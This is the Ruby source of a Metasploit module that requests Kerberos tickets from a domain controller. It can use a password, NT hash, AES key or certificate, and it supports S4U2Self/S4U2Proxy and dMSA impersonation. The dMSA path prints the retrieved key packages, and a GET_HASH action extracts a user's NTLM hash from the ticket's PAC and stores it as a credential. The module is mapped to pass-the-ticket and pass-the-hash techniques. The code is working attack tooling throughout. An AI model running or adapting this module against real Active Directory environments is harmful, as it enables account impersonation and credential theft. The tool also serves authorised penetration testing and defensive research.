Path: blob/master/modules/auxiliary/admin/kerberos/get_ticket.rb
32735 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Kerberos8include Msf::Exploit::Remote::Kerberos::Client9include Msf::Exploit::Remote::Kerberos::Ticket::Storage1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Kerberos TGT/TGS Ticket Requester',16'Description' => %q{17This module requests TGT/TGS Kerberos tickets from the KDC18},19'Author' => [20'Christophe De La Fuente', # Metasploit module21'Spencer McIntyre', # Metasploit module22# pkinit authors23'Will Schroeder', # original idea/research24'Lee Christensen', # original idea/research25'Oliver Lyak', # certipy implementation26'smashery' # Metasploit module27],28'License' => MSF_LICENSE,29'Notes' => {30'AKA' => ['getTGT', 'getST'],31'Stability' => [ CRASH_SAFE ],32'SideEffects' => [ ],33'Reliability' => [ ]34},35'Actions' => [36[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],37[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],38[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]39],40'DefaultAction' => 'GET_TGT',41'AKA' => ['PKINIT'],42'References' => [43['ATT&CK', Mitre::Attack::Technique::T1550_003_PASS_THE_TICKET],44['ATT&CK', Mitre::Attack::Technique::T1550_002_PASS_THE_HASH]45]46)47)4849register_options(50[51OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),52OptString.new('USERNAME', [ false, 'The domain user' ]),53OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),54OptPkcs12Cert.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),55OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),56OptEnum.new('IMPERSONATE_TYPE', [true, 'The impersonation type to use when requesting a TGS', 'none', ['auto', 'generic', 'none', 'dmsa'], 'none']),57OptString.new(58'NTHASH', [59false,60'The NT hash in hex string. Server must support RC4'61]62),63OptString.new(64'AES_KEY', [65false,66'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'67]68),69OptString.new(70'SPN', [71false,72'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'73],74conditions: %w[ACTION == GET_TGS]75),76OptString.new(77'IMPERSONATE', [78false,79'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',80],81conditions: %w[ACTION == GET_TGS]82),83OptKerberosCredentialCache.new(84'Krb5Ccname', [85false,86'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'87],88conditions: %w[ACTION == GET_TGS]89),90]91)9293deregister_options('KrbCacheMode')94end9596def validate_options97if datastore['CERT_FILE'].present?98pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)99@pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]100101if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?102fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')103elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?104fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')105end106107begin108@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])109rescue ArgumentError => e110fail_with(Failure::BadConfig, e.message)111end112else # USERNAME and DOMAIN are required when they can't be extracted from the certificate113@username = datastore['USERNAME']114fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?115116@realm = datastore['DOMAIN']117fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?118end119120if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)121fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')122end123124if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)125fail_with(Failure::BadConfig,126'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')127end128129if action.name == 'GET_TGS' && datastore['SPN'].blank?130fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")131end132133if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?134fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")135end136137if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})138fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')139end140141if datastore['IMPERSONATE'].present? && datastore['IMPERSONATE_TYPE'] == 'none'142fail_with(Failure::BadConfig, 'IMPERSONATE_TYPE must be set to "generic", "dmsa" or "auto" when IMPERSONATE is provided')143end144end145146def run147validate_options148149result = send("action_#{action.name.downcase}")150151report_service(152host: rhost,153port: rport,154proto: 'tcp',155name: 'kerberos',156info: "Module: #{fullname}, KDC for domain #{@realm}"157)158159result160rescue ::Rex::ConnectionError => e161elog('Connection error', error: e)162fail_with(Failure::Unreachable, e.message)163rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,164::EOFError => e165msg = e.to_s166if e.respond_to?(:error_code) &&167e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED168msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'169end170fail_with(Failure::Unknown, msg)171end172173def init_authenticator(options = {})174options.merge!({175host: rhost,176realm: @realm,177username: @username,178pfx: @pfx,179framework: framework,180framework_module: self181})182options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?183if datastore['NTHASH'].present?184options[:key] = [datastore['NTHASH']].pack('H*')185options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]186end187if datastore['AES_KEY'].present?188options[:key] = [ datastore['AES_KEY'] ].pack('H*')189options[:offered_etypes] = if options[:key].size == 32190[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]191else192[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]193end194end195196Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)197end198199def action_get_tgt200print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")201202# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made203authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })204authenticator.request_tgt_only205end206207def action_get_tgs208authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })209tgt_request_options = {}210if datastore['Krb5Ccname'].present?211tgt_request_options[:cache_file] = datastore['Krb5Ccname']212end213credential = authenticator.request_tgt_only(tgt_request_options)214215if datastore['IMPERSONATE_TYPE'] == 'dmsa'216print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")217218sname = Rex::Proto::Kerberos::Model::PrincipalName.new(219name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,220name_string: [221'krbtgt',222@realm223]224)225226nonce = rand(0..0x7FFFFFFF)227auth_options = {228sname: sname,229nonce: nonce,230impersonate: datastore['IMPERSONATE'],231impersonate_type: datastore['IMPERSONATE_TYPE']232}233tgs_ticket, tgs_auth, tgs_credential = authenticator.s4u2self(234credential,235auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))236)237238tgs_auth.pa_data.each do |pa_data|239if pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE240dmsa_key_package = Rex::Proto::Kerberos::Model::DmsaKeyPackage.decode(pa_data.value)241print_dmsa_key_package_info(dmsa_key_package)242end243rescue ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError => e244print_error("#{peer} - Failed to decode dMSA Key Package: #{e.message}")245next246end247248auth_options[:tgs_ticket] = tgs_ticket249auth_options[:credential] = tgs_credential250auth_options251elsif datastore['IMPERSONATE_TYPE'] == 'generic'252print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")253254sname = Rex::Proto::Kerberos::Model::PrincipalName.new(255name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,256name_string: [@username]257)258auth_options = {259sname: sname,260impersonate: datastore['IMPERSONATE']261}262tgs_ticket, _tgs_auth = authenticator.s4u2self(263credential,264auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))265)266267auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(268name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,269name_string: datastore['SPN'].split('/')270)271auth_options[:tgs_ticket] = tgs_ticket272authenticator.s4u2proxy(credential, auth_options)273else274print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")275276sname = Rex::Proto::Kerberos::Model::PrincipalName.new(277name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,278name_string: datastore['SPN'].split('/')279)280nonce = rand(0..0x7FFFFFFF) # nonce should be a signed 32-bit integer281tgs_options = {282sname: sname,283nonce: nonce,284ticket_storage: kerberos_ticket_storage(read: false)285}286287authenticator.request_tgs_only(credential, tgs_options)288end289end290291def print_dmsa_key_package_info(dmsa_key_package)292print_status('dMSA Key Package:')293294print_status(' Current Keys:')295dmsa_key_package.current_keys.each do |key_set|296key_set.each do |key|297type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'298value = key[1][0]299print_good(" Type: #{type}, Key: #{value.unpack1('H*')}")300end301end302303print_status(' Previous Keys:')304dmsa_key_package.previous_keys.each do |key_set|305key_set.each do |key|306type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'307value = key[1][0]308print_good(" Type: #{type}, Key: #{value.unpack1('H*')}")309end310end311end312313def action_get_hash314authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })315auth_context = authenticator.authenticate_via_kdc(options)316credential = auth_context[:credential]317318print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")319320session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(321type: credential.keyblock.enctype.value,322value: credential.keyblock.data.value323)324325tgs_ticket, _tgs_auth = authenticator.u2uself(credential)326327ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(328tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)329)330value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value331pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)332pac_info_buffer = pac.pac_info_buffers.find do |buffer|333buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION334end335unless pac_info_buffer336print_error('NTLM hash not found in PAC')337return338end339340serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])341ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash342print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")343344report_ntlm(ntlm_hash)345ntlm_hash346end347348def report_ntlm(hash)349jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)350service_data = {351address: rhost,352port: rport,353service_name: 'kerberos',354protocol: 'tcp',355workspace_id: myworkspace_id356}357credential_data = {358module_fullname: fullname,359origin_type: :service,360private_data: hash,361private_type: :ntlm_hash,362jtr_format: jtr_format,363username: @username,364realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,365realm_value: @realm366}.merge(service_data)367368credential_core = create_credential(credential_data)369370login_data = {371core: credential_core,372status: Metasploit::Model::Login::Status::UNTRIED373}.merge(service_data)374375create_credential_login(login_data)376end377end378379380